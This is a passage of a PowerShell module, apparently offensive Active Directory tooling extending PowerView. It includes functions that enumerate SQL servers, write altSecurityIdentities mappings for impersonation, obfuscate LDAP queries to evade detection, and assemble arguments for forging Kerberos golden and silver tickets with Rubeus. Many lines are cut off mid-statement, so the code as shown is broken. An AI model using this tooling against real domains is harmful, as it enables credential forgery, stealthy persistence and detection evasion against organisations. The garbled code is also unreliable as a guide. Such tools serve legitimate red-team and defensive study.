[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$DomainDN = Get-DomainDN @SearcherArguments
if ($DomainDN) {
Write-Verbose "[Get-DomainCACertificates] Got domain DN: $DomainDN"
}
else {
Write-Verbose "[Get-DomainCACertificates] Error extracting domain DN for '$Domain'"
}
Get-DomainObject -SearchBase "CN=Configuration,$DomainDN" -LDAPFilter "(objectCategory=cert
}
function Get-DomainSQLInstances {
<#
.SYNOPSIS
Returns a list of SQL instances for the current domain or the specified domain usable with PowerUPSQ
Author: Charlie Clark (@exploitph)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject, Get-DomainDN
.DESCRIPTION
Returns a list of SQL instances for the current domain or the specified domain by searching
for (serviceprincipalname=MSSQLSvc*) and modifying the relevent SPNs to be directly usable with
PowerUpSQL cmdlets.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainSQLInstances
.EXAMPLE
Get-DomainSQLInstances -Domain testlab.local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainSQLInstances -Credential $Cred
.OUTPUTS
Strings
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([String])]
[CmdletBinding()]
Param(
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
Get-DomainObject -LDAPFilter "(serviceprincipalname=MSSQLSvc*)" @SearcherArguments | select
$_ -match "MSSQLSvc"
} | Foreach-Object {
($_ -split '/')[1] -replace ':',','
}
}
function Add-DomainAltSecurityIdentity {
<#
.SYNOPSIS
Adds a value to the altSecurityIdentities AD attribute.
Author: Charlie Clark (@exploitph)
License: BSD 3-Clause
Required Dependencies: Set-DomainObject, Get-DomainDN, Get-IdentityFilterString
.DESCRIPTION
Adds a value to the altSecurityIdentites AD attribute while ensuring the current values remain the same
.PARAMETER Identity
A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computer
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-
or a dns host name (e.g. windows10.testlab.local). Wildcards accepted.
.PARAMETER Type
The type of identity to add (Certificate or Kerberos).
.PARAMETER Issuer
The certificate issuer, if a Certificate has been specified.
.PARAMETER Subject
The certificate subject, if a certificate has been specified.
.PARAMETER Account
The external Kerberos account to add, if Kerberos has been specified.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Add-DomainAltSecurityIdentity
.EXAMPLE
Add-DomainAltSecurityIdentity -Domain testlab.local
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Add-DomainAltSecurityIdentity -Credential $Cred
.OUTPUTS
Nothing
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([String])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[ValidateSet('Certificate', 'Kerberos')]
[String]
$Type = 'Certificate',
[ValidateNotNullOrEmpty()]
[String]
$Issuer,
[ValidateNotNullOrEmpty()]
[String]
$Subject,
[ValidateNotNullOrEmpty()]
[String]
$Account,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$Searcher = Get-DomainSearcher @SearcherArguments
$DomainDNArguments = @{}
if ($PSBoundParameters['Domain']) { $DomainDNArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $DomainDNArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DomainDNArguments['Credential'] = $Credential }
}
PROCESS {
$Filter = ''
if ($Identity) {
Write-Verbose "[Add-DomainAltSecurityIdentity] Setting provided identities: $Identity"
$Identity | Get-IdentityFilterString | ForEach-Object {
$Filter += $_
}
}
$AltIDString = ''
if ($PSBoundParameters['Type'] -eq 'Certificate') {
$DomainDN = Get-DomainDN @DomainDNArguments
$DomainDNSplit = $DomainDN -split ','
[array]::Reverse($DomainDNSplit)
$ReversedDomainDN = $DomainDNSplit -join ','
$AltIDString = 'X509:'
if ($PSBoundParameters['Issuer']) {
$AltIDString += "<I>$ReversedDomainDN,$Issuer"
}
if ($PSBoundParameters['Subject']) {
$AltIDString += "<S>$ReversedDomainDN,$Subject"
}
else {
Write-Error "[Add-DomainAltSecurityIdentity] Certificate altSecurityIdentity requires a Subject"
return
}
}
elseif ($PSBoundParameters['Account']) {
$AltIDString = "Kerberos:$Account"
}
else {
Write-Error "[Add-DomainAltSecurityIdentity] A -Type must be set"
return
}
Write-Verbose "[Add-DomainAltSecurityIdentity] Using Alternate Identity string: $AltIDString"
if ($Filter) {
$Searcher.filter = "(|$Filter)"
$Results = $Searcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$Props = $_.Properties
if ($Props.keys -contains 'altsecurityidentities') {
$AltIDs = $Props['altsecurityidentities']
}
else {
$AltIDs = @()
}
$AltIDs += $AltIDString
Set-DomainObject $Props['samaccountname'] -Set @{'altsecurityidentities'=$AltIDs}
}
}
}
}
function Invoke-LDAPQuery {
<#
.SYNOPSIS
Retrieve an LDAP query and return the results in a common format.
Author: Charlie Clark (@exploitph)
License: BSD 3-Clause
Required Dependencies:
.DESCRIPTION
Retrieve an LDAP query and return the results in a common format.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.PARAMETER SSL
Switch. Use SSL to connect to LDAP Server.
.PARAMETER Obfuscate
Switch. Automatically obfuscate LDAP filter string using hex encoding.
.EXAMPLE
Invoke-LDAPQuery -Domain testlab.local
.INPUTS
String
.OUTPUTS
PowerView.User
Custom PSObject with translated user property fields.
PowerView.User.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments',
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.User')]
[OutputType('PowerView.User.Raw')]
Param(
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 1000,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw,
[Switch]
$SSL,
[Switch]
$Obfuscate,
[String]
$Certificate,
[String]
$CertPassword
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['Owner']) { $SearcherArguments['Properties'] = '*' }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMa
if ($PSBoundParameters['Owner']) { $SearcherArguments['SecurityMasks'] = 'Owner' }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
if ($PSBoundParameters['Certificate']) {$SearcherArguments['Certificate'] = $Certificate }
if ($PSBoundParameters['CertPassword']) {$SearcherArguments['CertPassword'] = $CertPasswor
$DomainNameArguments = @{}
if ($PSBoundParameters['Domain']) { $DomainNameArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $DomainNameArguments['Credential'] = $Credential }
}
PROCESS {
if ($PSBoundParameters['Obfuscate']) {
$LDAPFilter = Get-ObfuscatedFilterString -LDAPFilter $LDAPFilter
}
if ($PSBoundParameters['SSL'] -or $PSBoundParameters['Certificate']) {
$Results = @()
$Searcher = Get-DomainSearcher @SearcherArguments
$Request = New-Object System.DirectoryServices.Protocols.SearchRequest
$PageRequestControl = New-Object System.DirectoryServices.Protocols.PageResultRequestC
[void]$Request.Controls.Add($PageRequestControl)
# for returning ntsecuritydescriptor
if ($PSBoundParameters['SecurityMasks']) {
$SDFlagsControl = New-Object System.DirectoryServices.Protocols.SecurityDescriptorFlagC
[void]$Request.Controls.Add($SDFlagsControl)
}
if ($PSBoundParameters['SearchBase']) {
$Request.DistinguishedName = $SearchBase
}
else {
$TargetDomain = Get-TargetDomainName @DomainNameArguments
$DomainDN = "DC=$($TargetDomain.Replace('.',',DC='))"
$Request.DistinguishedName = $DomainDN
}
if ($PSBoundParameters['SearchScope']) {
$Request.Scope = $SearchScope
}
if ($LdapFilter -and $LdapFilter -ne '') {
$Request.Filter = "$LdapFilter"
}
while($true) {
$Response = $Searcher.SendRequest($Request)
if ($Response.Entries.Count -gt 0) {
foreach ($entry in $response.Entries) {
$Results += $entry
if ($PSBoundParameters['FindOne']) {
break
}
}
}
if ($PSBoundParameters['FindOne']) {
break
}
$PageResponseControl = $Response.Controls | Where-Object {$_.Type -eq "1.2.840.113556
if ($PageResponseControl.Cookie.Length -eq 0) {
break
}
$PageRequestControl.Cookie = $PageResponseControl.Cookie
}
try {
$Searcher.Dispose()
}
catch {
Write-Verbose "[Invoke-LDAPQuery] Error disposing of the connection object: $_"
}
}
else {
$Searcher = Get-DomainSearcher @SearcherArguments
$Searcher.filter = "$LDAPFilter"
Write-Verbose "[Invoke-LDAPQuery] filter string: $($Searcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $Searcher.FindOne() }
else { $Results = $Searcher.FindAll() }
}
$Results
}
}
function Get-ObfuscatedFilterString {
<#
.SYNOPSIS
Randomly obfuscate LDAP filter string with random hex characters, randomised casing and random nul
Author: Charlie Clark (@exploitph)
License: BSD 3-Clause
Required Dependencies:
.DESCRIPTION
Randomly obfuscate LDAP filter string with random hex characters, randomised casing and random nul
.PARAMETER LDAPFilter
.EXAMPLE
Get-ObfuscatedFilterString -LDAPFilter "(samaccounttype=805306368)"
.INPUTS
String
.OUTPUTS
String
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('String')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
$LDAPFilter
)
$AvoidNops = @(
"samaccounttype",
"pwdlastset",
"objectclass",
"objectcategory",
"serviceprincipalname"
)
$AvoidHex = @(
"useraccountcontrol"
)
$Nops = @("\00")
foreach ($i in 128..255) {$Nops += '\{0:x}' -f $i}
Write-Verbose "[Get-ObfuscatedFilterString] Obfuscating filter string: $($LDAPFilter)"
$Parts = $LDAPFilter -split '='
$OutFilter = ""
if ($Parts[0].IndexOf('(') -ne -1) {
$LastAttribute = $Parts[0].ToLower().Split('(')[-1].Trim('<').Trim('>')
}
else {
$LastAttribute = $Parts[0].ToLower().Trim('<').Trim('>')
}
$Include = Get-RandomizedCasing -InputString $Parts[0]
if ((Get-Random -Maximum 2) -and (($Include -notmatch ':') -and ($Include -notmatch '<') -and ($Inclu
$OutFilter += "$($Include)~="
}
else {
$OutFilter += "$($Include)="
}
$Skip = $False
foreach ($Item in $AvoidHex) {if ($Parts[0].ToLower() -match $Item) {$Skip = $True}}
for ($i=1; $i -lt $Parts.Length; $i++) {
if ($Skip) {
if ($i -eq $Parts.Length - 1) {
$OutFilter += "$($Parts[$i])"
}
else {
$Check = 0
$LastAttribute = $Parts[$i].SubString($Parts[$i].IndexOf('(') + 1).Trim('<').Trim('>').ToLower()
foreach ($Item in $AvoidHex) {if ($LastAttribute -notmatch $Item) {$Check += 1}}
if ($Check -eq $AvoidHex.Count) {
$Skip = $False
}
$Include = Get-RandomizedCasing -InputString $Parts[$i]
if ((Get-Random -Maximum 2) -and (($Include -notmatch ':') -and ($Include -notmatch '<') -and
$OutFilter += "$($Include)~="
}
else {
$OutFilter += "$($Include)="
}
}
}
else {
if ($Parts[$i].IndexOf(')') -ne -1) {
$Value = $Parts[$i].SubString(0,$Parts[$i].IndexOf(')'))
}
else {
$Value = $Parts[$i]
}
if ($Value.Length -gt 1) {
if (($Value -match '\*') -and ($OutFilter.substring($OutFilter.Length - 2, 1) -eq '~')) {
$OutFilter = $OutFilter.substring(0, $OutFilter.Length - 2) + '='
}
$OutValueHash = @{}
$Value = Get-RandomizedCasing -InputString $Value
for ($c=0; $c -lt (Get-Random -Maximum $($Value.Length) -Minimum 1); $c++) {
$Index = Get-Random -Maximum $($Value.Length - 1)
if (($OutValueHash.keys | Measure-Object).Count -ne 0) {
if ($OutValueHash.keys -contains $Index) {
Do
{
$Index = Get-Random -Maximum $($Value.Length - 1)
} While ($OutValueHash.keys -contains $Index)
}
}
if ($Value[$Index] -ne '*') {
$OutValueHash[$Index] = '\{0:x}' -f [System.Convert]::ToUInt32($Value[$Index])
}
}
for ($c=0; $c -lt $Value.Length; $c++) {
if ((Get-Random -Maximum 2) -and ($AvoidNops -notcontains $LastAttribute)) {
$OutFilter += $Nops[(Get-Random -Maximum $Nops.Length)]
}
if ($OutValueHash.keys -contains $c) {
$OutFilter += "$($OutValueHash[$c])"
}
else {
$OutFilter += "$($Value[$c])"
}
}
if ((Get-Random -Maximum 2) -and ($AvoidNops -notcontains $LastAttribute)) {
$OutFilter += $Nops[(Get-Random -Maximum $Nops.Length)]
}
}
else {
if (($Value -eq '*') -and ($OutFilter.substring($OutFilter.Length - 2, 1) -eq '~')) {
$OutFilter = $OutFilter.substring(0, $OutFilter.Length - 2) + '='
}
$OutFilter += "$($Value)"
}
if ($Parts[$i].IndexOf(')') -ne -1) {
$Next = $Parts[$i].SubString($Parts[$i].IndexOf(')'))
if ($i -eq $Parts.Length - 1) {
$OutFilter += "$($Next)"
}
else {
$Include = Get-RandomizedCasing -InputString $Next
if ((Get-Random -Maximum 2) -and (($Include -notmatch ':') -and ($Include -notmatch '<') -a
$OutFilter += "$($Include)~="
}
else {
$OutFilter += "$($Include)="
}
}
foreach ($Item in $AvoidHex) {if ($Next.ToLower() -match $Item) {$Skip = $True}}
if ($Next.IndexOf('(') -ne -1) {
$LastAttribute = $Next.ToLower().Split('(')[-1].Trim('<').Trim('>')
}
else {
$LastAttribute = $Next.ToLower().Trim('<').Trim('>')
}
}
else {
if (Get-Random -Maximum 2) {
$OutFilter += "="
}
else {
$OutFilter += '\3d'
}
}
}
}
Write-Verbose "[Get-ObfuscatedFilterString] Filter string obfuscated: $($OutFilter)"
$OutFilter
}
function Get-RandomizedCasing {
<#
.SYNOPSIS
Randomize casing for provided string.
Author: Charlie Clark (@exploitph)
License: BSD 3-Clause
Required Dependencies:
.DESCRIPTION
Randomize casing for provided string.
.PARAMETER InputString
Input string.
.EXAMPLE
Get-RandomizedCasing -InputString "testString"
.INPUTS
String
.OUTPUTS
String
#>
[OutputType([PSObject])]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$InputString
)
$NewValue = ""
foreach ($c in $InputString.ToCharArray()) {
if ($c -in 'abcdefghijklmnopqrstuvwxyz'.ToCharArray()) {
if (Get-Random -Maximum 2) {
$NewValue += $c.ToString().ToUpper()
}
else {
$NewValue += $c
}
}
elseif ($c -in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'.ToCharArray()) {
if (Get-Random -Maximum 2) {
$NewValue += $c.ToString().ToLower()
}
else {
$NewValue += $c
}
}
else {
$NewValue += $c
}
}
$NewValue
}
function Convert-LogonHours {
<#
.SYNOPSIS
Convert logonhours LDAP attribute from byte array to readable string.
Author: Charlie Clark (@exploitph)
License: BSD 3-Clause
Required Dependencies:
.DESCRIPTION
Convert logonhours LDAP attribute from byte array to readable string.
.PARAMETER LogonHours
Byte array of the users logon hours.
.EXAMPLE
Convert-LogonHours -LogonHours $LogonHours
.INPUTS
Byte[]
.OUTPUTS
PSObject
#>
[OutputType([PSObject])]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
$LogonHours
)
BEGIN {
$Days = @{
0 = "Sunday";
1 = "Sunday";
2 = "Sunday";
3 = "Monday";
4 = "Monday";
5 = "Monday";
6 = "Tuesday";
7 = "Tuesday";
8 = "Tuesday";
9 = "Wednesday";
10 = "Wednesday";
11 = "Wednesday";
12 = "Thursday";
13 = "Thursday";
14 = "Thursday";
15 = "Friday";
16 = "Friday";
17 = "Friday";
18 = "Saturday";
19 = "Saturday";
20 = "Saturday";
}
$Hours = @{
0 = 1;
1 = 2;
2 = 4;
3 = 8;
4 = 16;
5 = 32;
6 = 64;
7 = 128;
}
$OutObject = New-Object PSObject -Property @{
"Monday" = @{};
"Tuesday" = @{};
"Wednesday" = @{};
"Thursday" = @{};
"Friday" = @{};
"Saturday" = @{};
"Sunday" = @{};
}
}
PROCESS {
$ByteCounter = 0
$DayCounter = 0
foreach ($byte in $LogonHours) {
foreach ($bit in $Hours.Keys) {
$Permitted = $false
if ($byte -band $Hours[$bit]) {
$Permitted = $true
}
$hour = $ByteCounter * 8 + $bit
$day = $Days[$DayCounter]
$OutObject.$day[$hour] = $Permitted
}
$ByteCounter += 1
if ($ByteCounter -eq 3) {
$ByteCounter = 0
}
$DayCounter += 1
}
$OutObject
}
}
function Get-RubeusForgeryArgs {
<#
.SYNOPSIS
Return a string containing the arguments required to forge a valid ticket with Rubeus' golden and silver
Author: Charlie Clark (@exploitph)
License: BSD 3-Clause
Required Dependencies:
.DESCRIPTION
Return a string containing the arguments required to forge a valid ticket with Rubeus' golden and silver
.PARAMETER Identity
A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computer
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-
or a dns host name (e.g. windows10.testlab.local). Wildcards accepted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER SSL
Switch. Use SSL for the connection to the LDAP server.
.PARAMETER Obfuscate
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
.EXAMPLE
Get-RubeusForgeryArgs exploitph
.INPUTS
String
.OUTPUTS
String
#>
[OutputType('String')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('SamAccountName', 'Name', 'DNSHostName')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$SSL,
[Switch]
$Obfuscate
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }
$ForestArguments = @{}
if ($PSBoundParameters['Domain']) { $ForestArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $ForestArguments['Server'] = $Server }
}
PROCESS {
$Filter = ''
$Identity | Get-IdentityFilterString | ForEach-Object {
$Filter += $_
}
if (-not $Filter -or $Filter -eq '') {
Write-Error "[Get-RubeusForgeryArgs] Identity argument is required!"
return
}
# get policy objects first
$DomainPolicy = Get-DomainPolicy -Policy Domain @SearcherArguments

Write-Verbose "[Get-RubeusForgeryArgs] filter string: (|$Filter)"


$Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "(|$Filter)"
$Results | Where-Object {$_} | ForEach-Object {
$OutArguments = ''
if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {
$Prop = @{}
foreach ($a in $_.Attributes.Keys | Sort-Object) {
if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertific
$Prop[$a] = $_.Attributes[$a]
}
else {
$Values = @()
foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {
$Values += [System.Text.Encoding]::UTF8.GetString($v)
}
$Prop[$a] = $Values
}
}
}
else {
$Prop = $_.Properties
}
$Account = Convert-LDAPProperty -Properties $Prop
$Account.PSObject.TypeNames.Insert(0, 'PowerView.Account')
# extract the account id and domain sid
$AccountID = $Account.objectsid.Substring($Account.objectsid.LastIndexOf('-')+1)
$DomainSID = $Account.objectsid.Substring(0, $Account.objectsid.LastIndexOf('-'))
# get groups
$GroupFilter = ''
foreach ($group in $Account.memberof) {
$GroupFilter += "(distinguishedname=$group)"
}
$Groups = @()
if ($GroupFilter) {
$GroupFilter = "(|$GroupFilter)"
Write-Verbose "[Get-RubeusForgeryArgs] filter string: $GroupFilter"
$Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$GroupFilter"
$Results | Where-Object {$_} | ForEach-Object {
if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) {
$Prop = @{}
foreach ($a in $_.Attributes.Keys | Sort-Object) {
if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'userc
$Prop[$a] = $_.Attributes[$a]
}
else {
$Values = @()
foreach ($v in $_.Attributes[$a].GetValues([byte[]])) {
$Values += [System.Text.Encoding]::UTF8.GetString($v)
}
$Prop[$a] = $Values
}
}
}
else {
$Prop = $_.Properties
}
$GroupObject = Convert-LDAPProperty -Properties $Prop
$GroupID = $GroupObject.objectsid.Substring($GroupObject.objectsid.LastIndexOf('-')+1)
$Groups += $GroupID
}
}
# get netbios name
$DomainObject = Get-Domain @ForestArguments
$Domain = $DomainObject.Name
$Forest = $DomainObject.Forest
$ForestDN = "DC=$($Forest -replace '\.',',DC=')"
$ConfigDN = "CN=Configuration,$ForestDN"
$NetbiosFilter = "(&(netbiosname=*)(dnsroot=$Domain))"
$NetbiosName = (Get-DomainObject -SearchBase "$ConfigDN" -LdapFilter "$NetbiosFilter" @S
# get time now for logontime and logofftime
$Now = Get-Date
# we have everything we can start to build the arguments
$OutArguments = "/user:$($Account.samaccountname) /id:$AccountID /sid:$DomainSID /netbio
if ($Account.useraccountcontrol -ne "NORMAL_ACCOUNT") {
$OutArguments += " /uac:$($Account.useraccountcontrol -replace ' ','')"
}
if ($Groups.Length -gt 0) {
$OutArguments += " /groups:$($Groups -join ',')"
}
if ($Account.scriptpath) {
$OutArguments += " /scriptpath:""$($Account.scriptpath)"""
}
if ($Account.profilepath) {
$OutArguments += " /profilepath:""$($Account.profilepath)"""
}
if ($Account.homedrive) {
$OutArguments += " /homedrive:""$($Account.homedrive)"""
}
if ($Account.homedirectory) {
$OutArguments += " /homedir:""$($Account.homedirectory)"""
}
if ($Account.logonhours) {
$LogoffTime = Get-LogoffTime -LogonHours $Account.logonhours -LogonTime $Now
if ($LogoffTime -and $LogoffTime -ne $Now) {
$OutArguments += " /logofftime:""$($LogoffTime.AddMinutes(-$LogoffTime.Minute).AddSe
}
}
elseif ($LogoffTime -eq $Now) {
Write-Warning "[Get-RubeusForgeryArgs] User is not allowed to login now!"
}
if ($DomainPolicy.SystemAccess.MinimumPasswordAge -gt 0) {
$OutArguments += " /minpassage:$($DomainPolicy.SystemAccess.MinimumPasswordAge)"
}
# only set PasswordMustChange if policy is set to expire password and user isn't configured so
if ($DomainPolicy.SystemAccess.MaximumPasswordAge -gt 0 -and $Account.useraccountcontr
$OutArguments += " /maxpassage:$($DomainPolicy.SystemAccess.MaximumPasswordAge)
}
# in Protected Users group with time endtime and renewtill of 240 minutes
if ($Groups.Contains("525")) {
$OutArguments += " /endtime:240m /renewtill:240m"
}
else {
if ($DomainPolicy.KerberosPolicy.MaxTicketAge -ne 10) {
$OutArguments += " /endtime:$($DomainPolicy.KerberosPolicy.MaxTicketAge)h"
}
if ($DomainPolicy.KerberosPolicy.MaxRenewAge -ne 7) {
$OutArguments += " /renewtill:$($DomainPolicy.KerberosPolicy.MaxRenewAge)d"
}
}
$OutArguments
}
}
}
function Get-LogoffTime {
<#
.SYNOPSIS
Calculate the proper logoff time for a user given the logonhours field and the current time.
Author: Charlie Clark (@exploitph)
License: BSD 3-Clause
Required Dependencies:
.DESCRIPTION
Calculate the proper logoff time for a user given the logonhours field and the current time.
.PARAMETER LogonHours
Logon hours object output by Convert-LogonHours
.PARAMETER LogonTime
Logon time for ticket
.EXAMPLE
